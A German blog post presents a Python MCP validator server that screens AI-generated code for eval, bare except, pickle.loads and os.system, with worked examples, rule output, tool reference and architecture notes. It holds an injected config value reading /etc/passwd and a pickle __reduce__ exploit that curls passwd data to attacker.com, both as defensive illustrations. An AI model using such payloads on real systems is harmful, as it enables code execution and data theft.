Ein Python MCP Server um sie alle zu knechten validieren
Wer mit KI-Client Werkzeugen wie Claude Code, Gemini, Codex, Mistral o.ä. arbeitet, kann ein andauernd wiederkehrendes Muster beobachten:
Die freundlichen digitalen Heinzelmännchen schreiben viel Code, und sie schreiben ihn schnell, aber manchmal enthält das Ergebnis ...hust ... "problematische Muster" (= Code-Konstrukte wie eval() oder except:, die Sicherheitsrisiken oder Wartungsprobleme verursachen).
Der hier beschriebene Python Validator MCP Server (= ein Dienst, den KI-Assistenten aufrufen können) fängt diese ab, indem er jeden Python-Code gegen definierte Regeln prüft. Das passiert idealerweise bevor der Code überhaupt geschrieben wird, sodass solche Konstrukte gar nicht erst im Code landen.
Um was es hier geht:
Du erfährst, warum KI-generierter Code grundsätzlich eine Qualitätsprüfung durch ein Kritiker-System braucht, wie der Validator funktioniert und wie Du ihn in Deinen Workflow integrieren kannst. Der Text richtet sich an Menschen, die mit KI-Assistenten Python-Code schreiben, unabhängig vom technischen Hintergrund. Technische Details zur Architektur und Regeldefinition sind für Fortgeschrittene gedacht und entsprechend gekennzeichnet.
Was dieser Text nicht leistet: Er ersetzt keine Security-Audits, keine Code-Reviews und keine Tests. Er zeigt ein (Demo-)Werkzeug, das eine bestimmte Klasse von Problemen früh abfängt. :-)
Warum braucht KI-generierter Code eine Validierung?
KI-generierter Code funktioniert oft auf den ersten Blick. Im letzten KI-Gemeinschaft-Seminar erzählte ein Teilnehmer, wie er nach einer halben Stunde überrascht war, dass seine KI ihm die ganze Zeit Mock-Daten gezeigt hat ... er war von realen Daten ausgegangen ... :-D
In meiner Arbeit sehe ich regelmäßig Beispiele, bei denen der generierte Code zwar läuft, aber erhebliche Probleme mitbringt:
eval(user_input)in einer Anwendung. Das funktioniert technisch, öffnet aber die Tür für beliebige Code-Ausführung durch Angreifer, weileval()jeden übergebenen String als Python-Code interpretiert.except:ohne spezifische Exception. Auch das funktioniert, verschluckt aber gleichzeitigSystemExitundKeyboardInterrupt, sodass sich das Programm nicht mehr sauber beenden lässt.pickle.loads(data)für Serialisierung. Funktioniert ebenfalls, führt jedoch beliebigen Code aus, wenn die Daten von außen manipuliert wurden (ein klassischer Deserialization-Angriff).os.system(cmd)stattsubprocess.run(). Funktioniert, ist aber anfällig für Command Injection, weil die Shell den Befehl interpretiert.
Das eigentliche Problem ist nicht, dass KI-Systeme diese Muster nicht kennen würden. Sie kennen sie durchaus. Das Problem ist vielmehr, dass sie den spezifischen Kontext nicht einschätzen können. In einem schnellen Prototyp mag eval() akzeptabel sein, aber nur, wenn die Eingaben vollständig vertrauenswürdig sind und die Ausführung isoliert ist. In einer Produktionsumgebung hingegen ist es ein Sicherheitsrisiko der Kategorie "kritisch".
Eine Lösung: Das Contract-Rules-System
Für Claude Code habe ich vor geraumer Zeit ein Contract-Rules-System entwickelt, das dieses Problem adressiert. Es definiert Verträge und Regeln, die jeder Code erfüllen muss, bevor er überhaupt geschrieben wird. Verstößt der Code gegen eine Regel, wird er blockiert, und Claude erhält eine detaillierte Fehlermeldung, damit das korrigiert werden kann. Gleichzeitig lernt das Gesamtsystem von jedem einzigen Fehler und präzisiert sich selbst in Richtung des jeweils definierten Standards bzw. Ziels.
Das "große" System basiert auf Claude Code Hooks (= Shell-Kommandos, die bei bestimmten Ereignissen automatisch ausgeführt werden). Ein solcher Hook prüft den Code, bevor er geschrieben wird, und funktioniert erfahrungsgemäß zuverlässig, da das ein programmatischer, deterministischer Ablauf ist. Allerdings hat dieser Ansatz einen entscheidenden Nachteil.
Das Problem: Nicht jede KI hat Hooks (warum eigentlich nicht?)
Claude Code hat ein integriertes Hook-System. Viele andere Assistenten (Mistral, Codex, Gemini) bieten aktuell kein vergleichbares, standardisiertes Hook-System, das automatisch vor dem Schreiben von Code in den Workflow eingreift. Was sie allerdings oft haben: MCP-Fähigkeit. Viele aktuelle Assistenten und Clients unterstützen MCP (= Model Context Protocol, ein standardisiertes Protokoll für die Kommunikation zwischen KI-Assistenten und externen Tools). Das ist bei mehreren großen Anbietern dokumentiert, aber nicht überall und nicht in jeder Produktvariante.
Die Idee lag nahe: Wenn Hooks nicht universell verfügbar sind, MCP-Server aber schon, dann baue ich eben einen kleinen, einfachen MCP-Server, der Python-Code validiert. Wenn die KI entsprechend instruiert ist (z.B. über System-Prompts oder CLAUDE.md), ruft sie vor dem Schreiben die Funktion validate_code auf, erhält Feedback zu etwaigen Regelverstößen und kann entsprechend korrigieren. Das Prinzip entspricht dem der Hooks (wird jedoch nicht programmatisch durchgesetzt), funktioniert aber plattformübergreifend.
Das Ergebnis ist der Python Validator MCP Server (ich hab den auch zusätzlich noch CLI Funktionalität mitgegeben): Regeln in mehreren Kategorien, vorkonfigurierte Profile und eine Befehlszeile (CLI) für die manuelle Nutzung. Die Regeln decken Sicherheitsmuster (Code-Injection, Command-Execution, unsichere Deserialisierung), Code-Qualität (angelehnt an PEP8 und Clean Code), Zuverlässigkeit und moderne Python-Syntax ab. Wenn Du noch nicht so viel mit MCP-Servern gemacht hast, findest Du hier einen Einstieg.
Drei Beispiele aus der Praxis
Die folgenden drei Szenarien sind ganz typische Situationen aus dem Alltag. Ich begegne ihnen regelmäßig bei Code-Reviews, bei eigenen Projekten und in der Arbeit mit KI-Assistenten. Sie zeigen, wie schnell problematischer Code entsteht, warum das passiert und wie der Validator solche Situationen abfängt, bevor sie zu echten Problemen werden.
Beispiel 1: Der flexible Konfigurations-Parser
Ein Data-Science-Team will seine Analyse-Pipelines konfigurierbar machen. Statt Schwellenwerte fest im Code zu definieren, sollen sie aus einer YAML-Datei kommen. Manche Werte sind einfache Zahlen, andere sind Formeln wie mean * 1.5 oder threshold + 10. Die KI wird gebeten, einen Parser zu schreiben, der solche Ausdrücke verarbeitet.
Die KI liefert folgenden Code:
def load_config(config_path):
with open(config_path) as f:
config = yaml.safe_load(f)
# Dynamische Ausdrücke auswerten
for key, value in config.items():
if isinstance(value, str) and any(op in value for op in ['+', '-', '*', '/']):
config[key] = eval(value)
return config
Auf den ersten Blick funktioniert das einwandfrei. Eine Config-Datei mit threshold: 100 * 1.5 liefert 150.0 zurück. Der Code ist kurz, lesbar und tut genau das, was gefordert war.
Das Problem liegt in der Funktion eval() (= eine Python-Funktion, die beliebigen Text als Programmcode ausführt). Was passiert, wenn jemand folgende Zeile in die Config-Datei schreibt?
threshold: __import__('os').system('cat /etc/passwd')
Die Funktion eval() würde diesen Text als Python-Code interpretieren und ausführen, weil sie nicht zwischen einer harmlosen Formel und einem System-Befehl unterscheiden kann. Ein Angreifer mit Schreibzugriff auf die Config-Datei könnte so beliebige Befehle ausführen.
Der Validator markiert diesen Code als kritisch problematisch:
CRITICAL: eval() detected
Rule: SEC-001 (no_eval)
Line: 8
Message: eval() executes arbitrary code and is a critical security risk.
Fix: Use ast.literal_eval() for safe evaluation of literals, or implement
a proper expression parser for mathematical expressions.
Die KI hat diesen Code nicht aus Unwissenheit geschrieben. Sie kennt die Risiken von eval() durchaus. Aber sie hat den Kontext nicht eingeschätzt: Wer Zugriff auf Config-Dateien hat, sollte nicht automatisch beliebigen Code ausführen können. Der Validator markiert eval() grundsätzlich als kritisch, sodass die KI korrigieren kann, bevor der Code geschrieben wird.
Beispiel 2: Die unsterbliche Schleife
Bei Code-Revisionen stolpere ich regelmäßig über diesen Klassiker: Ein Datenverarbeitungs-Skript soll Dateien aus einem Verzeichnis lesen und verarbeiten. Die KI wird gebeten, eine robuste Lösung zu schreiben, die auch bei fehlerhaften Dateien weiterläuft.
Das Ergebnis sieht dann oft so aus:
for filename in os.listdir(input_dir):
try:
process_file(filename)
except:
print(f"Error processing {filename}")
continue
Der Code wirkt vernünftig: Wenn bei einer Datei ein Fehler auftritt, wird er geloggt, und die Schleife macht mit der nächsten Datei weiter. Genau das war gefordert.
Das Problem ist das nackte except: ohne spezifische Angabe, welche Fehlertypen abgefangen werden sollen. In Python gibt es verschiedene Arten von Ausnahmen (= Ereignisse, die den normalen Programmablauf unterbrechen). Manche zeigen echte Fehler an, andere sind Steuersignale. Wenn jemand Strg+C drückt, um ein Programm zu beenden, löst das eine KeyboardInterrupt-Ausnahme aus. Ein nacktes except: fängt auch diese ab.
In der Praxis bedeutet das: Das Skript läuft, etwas stimmt nicht, Strg+C wird gedrückt, und das Programm ignoriert den Abbruchversuch. Es läuft einfach weiter, weil der Tastendruck als Fehler behandelt und verschluckt wird. Das Skript wird unsterblich.
ERROR: Bare except clause detected
Rule: REL-002 (no_bare_except)
Line: 3
Message: Bare except catches SystemExit and KeyboardInterrupt,
making the program impossible to terminate cleanly.
Fix: Use 'except Exception:' to catch only actual errors,
or specify the exact exception types you expect.
Die korrekte Version fängt nur echte Fehler ab und lässt Steuersignale durch:
for filename in os.listdir(input_dir):
try:
process_file(filename)
except Exception as e:
print(f"Error processing {filename}: {e}")
continue
Der Unterschied ist subtil, aber entscheidend: except Exception: fängt alle normalen Fehler ab, lässt aber KeyboardInterrupt und SystemExit durch, sodass das Programm kontrolliert beendet werden kann.
Beispiel 3: Die vergiftete Nachricht
In einem konkreten Fall sollte ein System gebaut werden, bei dem verschiedene Python-Prozesse miteinander kommunizieren. Prozess A schickt Daten an Prozess B, der sie verarbeitet. Die KI schlug vor, die Daten mit pickle zu serialisieren (= in ein Format umzuwandeln, das übertragen werden kann).
# Prozess A: Daten senden
import pickle
data = {'user': 'admin', 'action': 'update'}
message = pickle.dumps(data)
send_to_process_b(message)
# Prozess B: Daten empfangen
received = receive_from_process_a()
data = pickle.loads(received)
process_data(data)
Für die Kommunikation zwischen vertrauenswürdigen Prozessen auf demselben Server funktioniert das. Aber was, wenn die Nachricht von außen kommt? Was, wenn ein Angreifer eine manipulierte Nachricht einschleust?
Das Problem mit pickle ist, dass es nicht nur Daten speichert, sondern auch Anweisungen, wie diese Daten wiederhergestellt werden sollen. Ein Angreifer kann eine pickle-Nachricht konstruieren, die beim Laden beliebigen Code ausführt. Das nennt sich Deserialization-Angriff (= ein Angriff, bei dem manipulierte Datenstrukturen beim Einlesen Schadcode ausführen).
# So könnte ein Angreifer eine "vergiftete" pickle-Nachricht bauen
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl attacker.com/steal?data=$(cat /etc/passwd)',))
malicious = pickle.dumps(Exploit())
Wenn Prozess B diese Nachricht mit pickle.loads() öffnet, wird der Schadcode ausgeführt, noch bevor die eigentlichen Daten verarbeitet werden.
CRITICAL: pickle.loads() with untrusted data
Rule: SEC-003 (no_pickle_loads)
Line: 9
Message: pickle.loads() can execute arbitrary code during deserialization.
Never use pickle with data from untrusted sources.
Fix: Use JSON for data exchange, or implement signature verification
if pickle is absolutely necessary.
Die sichere Alternative ist JSON, das nur Daten enthält und keinen ausführbaren Code:
import json
# Senden
data = {'user': 'admin', 'action': 'update'}
message = json.dumps(data)
# Empfangen
data = json.loads(received) # Kann keinen Code ausführen
Was diese Beispiele zeigen
In allen drei Fällen hat die KI funktionierenden Code geliefert. Der Code war syntaktisch korrekt, erfüllte die gestellte Aufgabe und hätte in vielen Kontexten keine Probleme verursacht. Das macht diese Fehler so tückisch: Sie fallen beim Testen nicht auf, weil alles zu funktionieren scheint.
Ohne Validierung würde solcher Code möglicherweise übernommen. Bei einer späteren Sicherheitsprüfung fällt das Problem dann auf, oder schlimmer: bei einem echten Angriff. Die Nacharbeit, um solche Probleme später zu beheben, kostet ein Vielfaches der Zeit, die eine sofortige Korrektur erfordert, weil der Code dann bereits in Produktion ist, Tests angepasst werden müssen und möglicherweise Abhängigkeiten entstanden sind.
Der Validator verschiebt diese Prüfung an den Anfang des Prozesses. Die KI erhält sofort Feedback, kann den Code korrigieren, und das Ergebnis entspricht von Anfang an den definierten Standards. Das spart nicht nur Zeit und Nacharbeit, sondern auch die Tokens, die für mehrere Korrekturschleifen nötig wären.
Wie funktioniert der Validierungsprozess?
Was Dir das im Alltag bringt: Du verstehst, wann und wie der Validator eingreift, sodass Du nachvollziehen kannst, warum bestimmte Code-Konstrukte markiert werden und wie die Korrekturschleife funktioniert.
Der Prozess läuft in vier Stufen ab: Instruktion, Aufruf, Validierung und Feedback. Anders als bei Hook-basierten Systemen, die automatisch eingreifen, muss die KI hier aktiv den Validator aufrufen, weil MCP auf Kooperation statt auf Zwang setzt. Das folgende Diagramm zeigt den vollständigen Ablauf:
mcp-validator --process-flow
┌─────────────────────────────────────────────────────────────────┐
│ MCP VALIDIERUNGSPROZESS │
└─────────────────────────────────────────────────────────────────┘
┌─────────────┐
│ User │
│ Prompt │
└──────┬──────┘
│
"Schreibe eine Flask-API..."
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STUFE 1: INSTRUKTION │
│ System-Prompt / CLAUDE.md / Projekt-Config │
│ │
│ Die KI wird instruiert: │
│ "Bevor du Python-Code schreibst, rufe validate_code auf." │
│ │
│ Diese Instruktion kann enthalten: │
│ • Welches Profil verwendet werden soll │
│ • Welche Kategorien besonders wichtig sind │
│ • Projektspezifische Ausnahmen │
└───────────────────────────────┬─────────────────────────────────┘
│
KI generiert Python-Code...
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STUFE 2: MCP AUFRUF │
│ KI ruft validate_code() auf │
│ │
│ validate_code( │
│ code="@app.route('/api')..." │
│ profile="recommended" │
│ ) │
│ │
│ Der Code wird an den MCP-Server gesendet, │
│ BEVOR er in eine Datei geschrieben wird. │
└───────────────────────────────┬─────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ STUFE 3: VALIDIERUNG │
│ AST-Parser + Pattern-Matching │
│ │
│ Der Server prüft: │
│ • Syntax via AST-Parser │
│ • Forbidden Patterns (eval, exec, pickle.loads, ...) │
│ • Required Patterns (type hints, docstrings, ...) │
│ • Code-Qualität (Komplexität, Verschachtelung, ...) │
│ │
│ CRITICAL ERROR WARNING INFO │
└───────────────────────────────┬─────────────────────────────────┘
│
┌───────────────┴───────────────┐
│ │
▼ ▼
VIOLATIONS VALID
Regelverstöße Code ist
gefunden sauber
│ │
▼ ▼
┌─────────────────────────────┐ ┌─────────────────────────────┐
│ FEEDBACK AN KI │ │ CODE WIRD GESCHRIEBEN │
│ │ │ │
│ • Betroffene Zeile │ │ KI schreibt den │
│ • Regel-ID + Severity │ │ validierten Code │
│ • Beschreibung │ │ in die Datei. │
│ • Fix-Vorschlag │ │ │
│ │ │ │
│ KI korrigiert und │ │ │
│ ruft erneut validate_code │ │ │
└─────────────────────────────┘ └─────────────────────────────┘
Was passiert bei einem kritischen Verstoß?
Nehmen wir an, die KI generiert Python-Code mit einem eval(user_input). Der Validator erkennt das Muster und liefert folgendes Ergebnis zurück:
validate_code() → response
{
"valid": false,
"violations": [
{
"rule": "SEC-001",
"severity": "critical",
"line": 4,
"message": "eval() executes arbitrary code and is a critical security risk.",
"fix": "Use ast.literal_eval() for safe evaluation of literals, or implement a proper expression parser."
}
],
"stats": {
"lines_checked": 12,
"rules_applied": 17,
"time_ms": 8
}
}
Die KI erhält diese strukturierte Antwort, versteht das Problem und den Lösungsvorschlag, korrigiert den Code und ruft validate_code() erneut auf. Dieser Zyklus wiederholt sich, bis der Code alle Regeln erfüllt. Bei kritischen Verstößen hängt die Durchsetzung davon ab, wie streng die Instruktion formuliert ist: Der Validator kann nur empfehlen, nicht erzwingen.
Der Unterschied zu Hook-basierten Systemen
Bei Claude Code Hooks wird der Code automatisch geprüft, bevor er geschrieben wird. Das funktioniert wie ein Türsteher: Der Code kommt gar nicht erst durch, wenn er gegen Regeln verstößt.
Der MCP-Ansatz funktioniert anders: Er setzt auf Kooperation statt auf Zwang. Die KI muss instruiert werden, den Validator zu nutzen. Das hat Vor- und Nachteile:
- Vorteil: Funktioniert mit jeder MCP-fähigen KI, unabhängig davon, ob sie Hooks unterstützt.
- Vorteil: Die KI kann den Validator gezielt für bestimmte Code-Abschnitte nutzen.
- Nachteil: Die KI kann den Validator theoretisch umgehen, wenn sie nicht korrekt instruiert ist.
In der Praxis befolgen viele KI-Systeme solche Instruktionen oft genug, dass der Ansatz gut funktioniert. Du solltest ihn trotzdem so bauen, dass Abweichungen auffallen: klare Prozessregeln, sichtbare Validator-Antworten im Verlauf und ein kurzer manueller Check bei kritischen Änderungen.
Wenn Du nur eine Sache mitnimmst
Der Validator prüft Code, bevor er geschrieben wird. Die KI erhält sofort Feedback und kann korrigieren. Das spart Nacharbeit und verhindert, dass problematische Muster ins Repository gelangen.
Lass ma' gucken:
Erstmal die Hintergründe und Grundlagen:
- Warum braucht KI-generierter Code eine Validierung?
- Drei Beispiele aus der Praxis
- Wie funktioniert der Validierungsprozess?
- Clean Architecture: Domain, Infrastructure, Services
Jetzt die MCP Tools
- validate_code Code-String validieren
- validate_file Python-Datei validieren
- validate_with_profile Mit Profil validieren
- list_rules Regeln auflisten und filtern
- list_profiles Verfügbare Profile
- get_supervision / list_supervisions Validierungshistorie
- reload_rules / get_config / get_stats Verwaltung und Statistiken
Regeln und Profile
Praxis
Download
- Für alle, die mehr mit KI-Systemen machen wollen
- Download Nur für KI-Gemeinschaft
- Installation und Setup Nur für KI-Gemeinschaft
Clean Architecture: Domain, Infrastructure, Services
Dieser Abschnitt richtet sich an Entwicklerinnen und Entwickler, die den Quellcode verstehen oder erweitern wollen. Wenn Du den Validator nur nutzen möchtest, kannst Du diesen Abschnitt überspringen.
Was Dir das im Alltag bringt: Du verstehst, wo Du eigene Regeln hinzufügst, wo Du bei Problemen nach der Ursache suchst und warum Änderungen an einer Stelle nicht das gesamte System beeinflussen.
Der Python Validator MCP Server folgt den Prinzipien der sauberen Schichtentrennung (Clean Architecture = ein Architekturmuster, das Geschäftslogik von technischen Details trennt). Das klingt zunächst nach akademischem Overhead für ein Validierungs-Tool, aber in meiner Erfahrung zahlt sich diese Struktur aus, weil die Trennung in Geschäftslogik (Domain), technische Umsetzung (Infrastructure) und Schnittstellen (Services) das System erweiterbar, testbar und wartbar macht.
Die drei Schichten
Schauen wir uns die drei Schichten an, damit Du verstehst, warum ich mich für diese Struktur entschieden habe:
python-validator/
├── src/
│ ├── domain/ # Geschäftslogik, Entitäten
│ │ ├── entities/ # Rule, Violation, ValidationResult
│ │ └── services/ # ValidationService, RuleEngine
│ │
│ ├── infrastructure/ # Technische Implementierungen
│ │ ├── logging/ # WatchedRotatingFileHandler
│ │ ├── persistence/ # SupervisionRepository
│ │ └── validation/ # ASTValidator, PatternMatcher
│ │
│ └── services/ # MCP Tools, CLI Interface
│ ├── mcp_tools.py # Die MCP-Funktionen
│ └── cli.py # Kommandozeilen-Interface
│
├── config/
│ ├── rules/ # YAML-Regeldefinitionen
│ └── profiles/ # Vorkonfigurierte Profile
│
└── tests/ # Unit- und Integrationstests
Domain Layer: Die Geschäftslogik
Im Domain Layer (= die innerste Schicht) liegt das, was den Validator eigentlich ausmacht: die Regeln und ihre Anwendung. Hier definiere ich, was eine Regel ist, was eine Verletzung ist und wie Validierungsergebnisse aussehen. Der Domain Layer ist bewusst frei von technischen Abhängigkeiten, damit er isoliert testbar bleibt.
@dataclass
class Rule:
"""Eine Validierungsregel."""
id: str
name: str
category: str
severity: str # critical, error, warning, info
pattern: str # Regex oder AST-Pattern
message: str
fix_suggestion: str
@dataclass
class Violation:
"""Ein Regelverstoß."""
rule: Rule
line: int
column: int
code_snippet: str
context: dict
Der Domain Layer kennt keine technischen Details. Er weiß nicht, wie Regeln geladen werden, wie Logging funktioniert oder wie MCP kommuniziert. Er definiert ausschließlich die Konzepte und ihre Beziehungen, sodass ich die Geschäftslogik unabhängig von der Infrastruktur weiterentwickeln kann.
Infrastructure Layer: Die technische Umsetzung
Der Infrastructure Layer (= die äußere Schicht für technische Details) implementiert alles, was mit der Außenwelt zu tun hat: Dateioperationen, Logging, Persistenz. Hier liegt auch der AST-Validator, der Python-Code parsed und gegen Regeln prüft. Ich habe diese Schicht bewusst austauschbar gestaltet.
class ASTValidator:
"""Validiert Python-Code via Abstract Syntax Tree."""
def validate(self, code: str, rules: list[Rule]) -> list[Violation]:
tree = ast.parse(code)
violations = []
for node in ast.walk(tree):
for rule in rules:
if self._matches_pattern(node, rule):
violations.append(self._create_violation(node, rule))
return violations
Der Infrastructure Layer kann ausgetauscht werden, ohne die Geschäftslogik zu berühren. Will ich statt JSON-Dateien eine Datenbank für Regeln nutzen? Dann schreibe ich einen neuen Adapter im Infrastructure Layer, während der Domain Layer unverändert bleibt. Das spart langfristig Zeit, weil Änderungen lokal bleiben.
Services Layer: Die Schnittstellen
Der Services Layer verbindet Domain und Infrastructure mit der Außenwelt. Hier liegen die MCP-Tools und das CLI-Interface, also alles, womit Du als Nutzer interagierst.
@mcp.tool()
async def validate_code(code: str, profile: str = "recommended") -> dict:
"""Validiert Python-Code gegen das angegebene Profil."""
# Domain Service aufrufen
result = validation_service.validate(
code=code,
rules=rule_repository.get_by_profile(profile)
)
# Ergebnis für MCP formatieren
return {
"valid": result.is_valid,
"violations": [v.to_dict() for v in result.violations],
"stats": result.stats
}
Warum diese Trennung wichtig ist
Aus meiner Erfahrung hat die Clean Architecture mehrere konkrete Vorteile, die sich im Alltag bemerkbar machen:
- Testbarkeit: Jede Schicht kann isoliert getestet werden. Unit-Tests für Domain-Logik brauchen keine Datenbank, keine Dateien, keine MCP-Verbindung, weil die Abhängigkeiten sauber getrennt sind.
- Erweiterbarkeit: Brauche ich neue Regeltypen? Dann füge ich einen neuen Validator im Infrastructure Layer hinzu. Brauche ich ein neues Output-Format? Dann schreibe ich einen neuen Adapter im Services Layer.
- Wartbarkeit: Änderungen in einer Schicht propagieren nicht durch das gesamte System. Ein Logging-Fix betrifft nur den Infrastructure Layer, sodass ich nicht versehentlich etwas an der Geschäftslogik kaputt mache.
- Verständlichkeit: Die Struktur macht klar, wo welche Funktionalität zu finden ist. Geschäftslogik im Domain Layer, technische Details in Infrastructure, Schnittstellen in Services.
Dependency Rule
Abhängigkeiten zeigen immer nach innen: Services → Domain ← Infrastructure. Der Domain Layer hat keine Abhängigkeiten zu den anderen Schichten, damit er stabil und wiederverwendbar bleibt. (Das Prinzip ist der Kern der Clean Architecture).
validate_code: Die Kernfunktion
validate_code ist die zentrale Funktion des Validators. Sie nimmt einen Python-Code-String entgegen, prüft ihn gegen die definierten Regeln und liefert ein strukturiertes Ergebnis zurück. Das klingt simpel, aber genau diese Einfachheit macht die Funktion so nützlich, weil sie sich nahtlos in jeden Workflow einfügt.
Was macht diese Funktion?
Die Funktion erwartet Python-Code als Text (= einen String, keine Datei) und prüft diesen gegen ein Regelset. Das Ergebnis ist ein strukturiertes Objekt, das angibt, ob der Code valide ist, und falls nicht, welche Regeln verletzt wurden.
# Aufruf
result = validate_code(
code="def calculate(x): return eval(x)",
profile="recommended"
)
# Ergebnis
{
"valid": false,
"violations": [
{
"rule": "SEC-001",
"name": "no_eval",
"severity": "critical",
"line": 1,
"column": 27,
"message": "eval() executes arbitrary code...",
"fix_suggestion": "Use ast.literal_eval() or..."
}
],
"stats": {
"lines": 1,
"rules_checked": 17,
"time_ms": 5
}
}
Warum ein String und keine Datei?
Diese Designentscheidung hat einen praktischen Grund: Die KI generiert Code, bevor sie ihn in eine Datei schreibt. In diesem Moment existiert der Code nur als Text im Speicher. Die Funktion validate_code prüft genau diesen Text, sodass problematischer Code gar nicht erst auf der Festplatte landet.
Das unterscheidet den Validator von klassischen Linting-Tools wie pylint oder flake8, die auf existierenden Dateien arbeiten. Dort ist der Code bereits geschrieben, und das Tool findet Probleme nachträglich. Hier wird der Code geprüft, bevor er geschrieben wird, was einen fundamentalen Unterschied im Workflow darstellt.
Die Parameter im Detail
- code (erforderlich): Der Python-Code als String. Kann eine einzelne Zeile oder ein komplettes Modul sein.
- profile (optional): Das Regelprofil, das verwendet werden soll. Standard ist
recommended, das einen ausgewogenen Mix aus Sicherheit und Praktikabilität bietet.
Was die Funktion nicht kann (weil's halt nur eine Demo- und Lernversion ist)
Der Validator ist bewusst auf Einzeldatei-Analyse beschränkt. Er prüft keinen Import-Graphen (= welche Module sich gegenseitig importieren), keine projektweiten Abhängigkeiten und keine Runtime-Eigenschaften. Das ist eine bewusste Einschränkung, weil der Validator als leichtgewichtiges Demo-System konzipiert ist, das schnell und ohne komplexe Konfiguration funktionieren soll.
Für tiefgreifende Analysen wie Typ-Inferenz über Modulgrenzen hinweg, Dead-Code-Erkennung im Projektkontext oder komplexe Datenflussanalysen gibt es spezialisierte Tools wie mypy, vulture oder bandit, die genau dafür gebaut sind.
Wann verwende ich validate_code?
Immer dann, wenn Code geprüft werden soll, bevor er geschrieben wird. Die KI ruft diese Funktion auf, nachdem sie Code generiert hat und bevor sie ihn in eine Datei schreibt. Das ist der typische Anwendungsfall im MCP-Workflow.
validate_file: Existierende Dateien prüfen
Während validate_code für neuen Code gedacht ist, prüft validate_file bereits existierende Python-Dateien. Das ist nützlich, wenn bestehender Code gegen die Regeln geprüft werden soll, etwa bei Code-Reviews oder wenn ein Projekt nachträglich auf den Validator umgestellt wird.
Was macht diese Funktion?
Die Funktion nimmt einen Dateipfad entgegen, liest die Datei und prüft ihren Inhalt gegen die Regeln. Das Ergebnis enthält zusätzlich den Dateinamen, sodass bei mehreren Prüfungen klar ist, welches Ergebnis zu welcher Datei gehört.
# Aufruf
result = validate_file(
file_path="/project/src/api.py",
profile="strict"
)
# Ergebnis
{
"file": "/project/src/api.py",
"valid": true,
"violations": [],
"stats": {
"lines": 234,
"rules_checked": 63,
"time_ms": 42
}
}
Der Unterschied zu validate_code
Technisch liest validate_file die Datei und ruft intern validate_code auf. Der Mehrwert liegt in der Bequemlichkeit: Die KI muss den Dateiinhalt nicht selbst lesen und übergeben, sondern gibt einfach den Pfad an. Das spart Tokens und reduziert die Fehleranfälligkeit.
Einschränkungen
Die Funktion prüft genau eine Datei. Sie iteriert nicht über Verzeichnisse und folgt keinen Imports. Wer ein ganzes Projekt prüfen möchte, muss die Dateien einzeln durchgehen. Das ist eine bewusste Entscheidung, weil der Validator als Demo-System konzipiert ist und keine komplexe Projektverwaltung mitbringt.
Wann verwende ich validate_file?
Bei Code-Reviews, wenn bestehende Dateien geprüft werden sollen. Oder wenn die KI eine Datei liest, analysieren soll und dabei die Regelkonformität prüfen will, ohne den Code in den Kontext zu laden.
validate_with_profile: Gezielte Prüfung
Diese Funktion ist eine Convenience-Variante von validate_code, die das Profil explizit in den Vordergrund stellt. Sie macht deutlich, dass hier bewusst ein bestimmtes Regelset gewählt wird, was die Lesbarkeit im Code verbessert.
Was macht diese Funktion?
Funktional identisch mit validate_code, aber mit umgekehrter Parameter-Reihenfolge: Zuerst das Profil, dann der Code. Das mag wie ein kleines Detail wirken, aber in der Praxis macht es die Absicht klarer.
# Statt
validate_code(code=my_code, profile="security-only")
# Kann man schreiben
validate_with_profile(profile="security-only", code=my_code)
Wann ist das sinnvoll?
Wenn das Profil die zentrale Information ist. Etwa wenn die KI instruiert wurde, bestimmten Code nur gegen Sicherheitsregeln zu prüfen, oder wenn verschiedene Code-Teile mit unterschiedlichen Profilen validiert werden sollen. Die Funktion macht die Profilwahl zum primären Aspekt des Aufrufs.
Praktischer Hinweis
Für die meisten Anwendungsfälle reicht validate_code mit dem Standard-Profil völlig aus. Die Funktion validate_with_profile existiert für Situationen, in denen die Profilwahl bewusst und explizit erfolgen soll.
list_rules: Regeln erkunden
Bevor man Code validiert, möchte man vielleicht wissen, gegen welche Regeln eigentlich geprüft wird. Die Funktion list_rules liefert eine Übersicht aller verfügbaren Regeln, optional gefiltert nach Kategorie oder Severity.
Was macht diese Funktion?
Sie gibt eine Liste aller Regeln zurück, die der Validator kennt. Jede Regel enthält ihre ID, den Namen, die Kategorie, den Schweregrad und eine Beschreibung. Das ist nützlich, um zu verstehen, was der Validator eigentlich prüft.
# Alle Regeln abrufen
rules = list_rules()
# Nur Security-Regeln
security_rules = list_rules(category="security")
# Nur kritische Regeln
critical_rules = list_rules(severity="critical")
# Beispiel-Ausgabe (gekürzt)
[
{
"id": "SEC-001",
"name": "no_eval",
"category": "security",
"severity": "critical",
"description": "Verbietet eval() wegen Remote Code Execution",
"pattern": "eval\\s*\\(",
"fix_suggestion": "Use ast.literal_eval() or..."
},
...
]
Die Filter-Optionen
- category: Filtert nach Kategorie (security, reliability, code_style, best_practices, maintainability, modern_python, typing).
- severity: Filtert nach Schweregrad (critical, error, warning, info).
- profile: Zeigt nur Regeln, die in einem bestimmten Profil aktiv sind.
Wozu brauche ich das?
Transparenz. Wer wissen will, warum sein Code abgelehnt wurde, kann die entsprechende Regel nachschlagen. Wer ein eigenes Profil erstellen will, sieht hier alle verfügbaren Regeln. Und wer dem Validator nicht blind vertraut, kann prüfen, welche Muster genau gesucht werden.
Für Neugierige
Die Funktion ist auch ein Lernwerkzeug. Wer die Regeln durchgeht, lernt dabei, welche Muster in Python als problematisch gelten und warum. Jede Regel enthält eine Erklärung und einen Fix-Vorschlag.
list_profiles: Profile verstehen
Profile sind vorkonfigurierte Regelsets, die für bestimmte Anwendungsfälle zusammengestellt wurden. Die Funktion list_profiles zeigt alle verfügbaren Profile und erklärt, wofür sie gedacht sind.
Was macht diese Funktion?
Sie gibt eine Liste aller Profile zurück, jeweils mit Namen, Beschreibung und der Anzahl der enthaltenen Regeln. Das hilft bei der Entscheidung, welches Profil für den eigenen Anwendungsfall passt.
# Alle Profile abrufen
profiles = list_profiles()
# Beispiel-Ausgabe
[
{
"name": "minimal",
"description": "Nur die kritischsten Sicherheitsregeln",
"rules_count": 5,
"categories": ["security"]
},
{
"name": "recommended",
"description": "Ausgewogener Mix für die meisten Projekte",
"rules_count": 17,
"categories": ["security", "reliability", "best_practices"]
},
{
"name": "strict",
"description": "Alle Regeln, maximale Strenge",
"rules_count": 63,
"categories": ["security", "reliability", "code_style",
"best_practices", "maintainability",
"modern_python", "typing"]
},
...
]
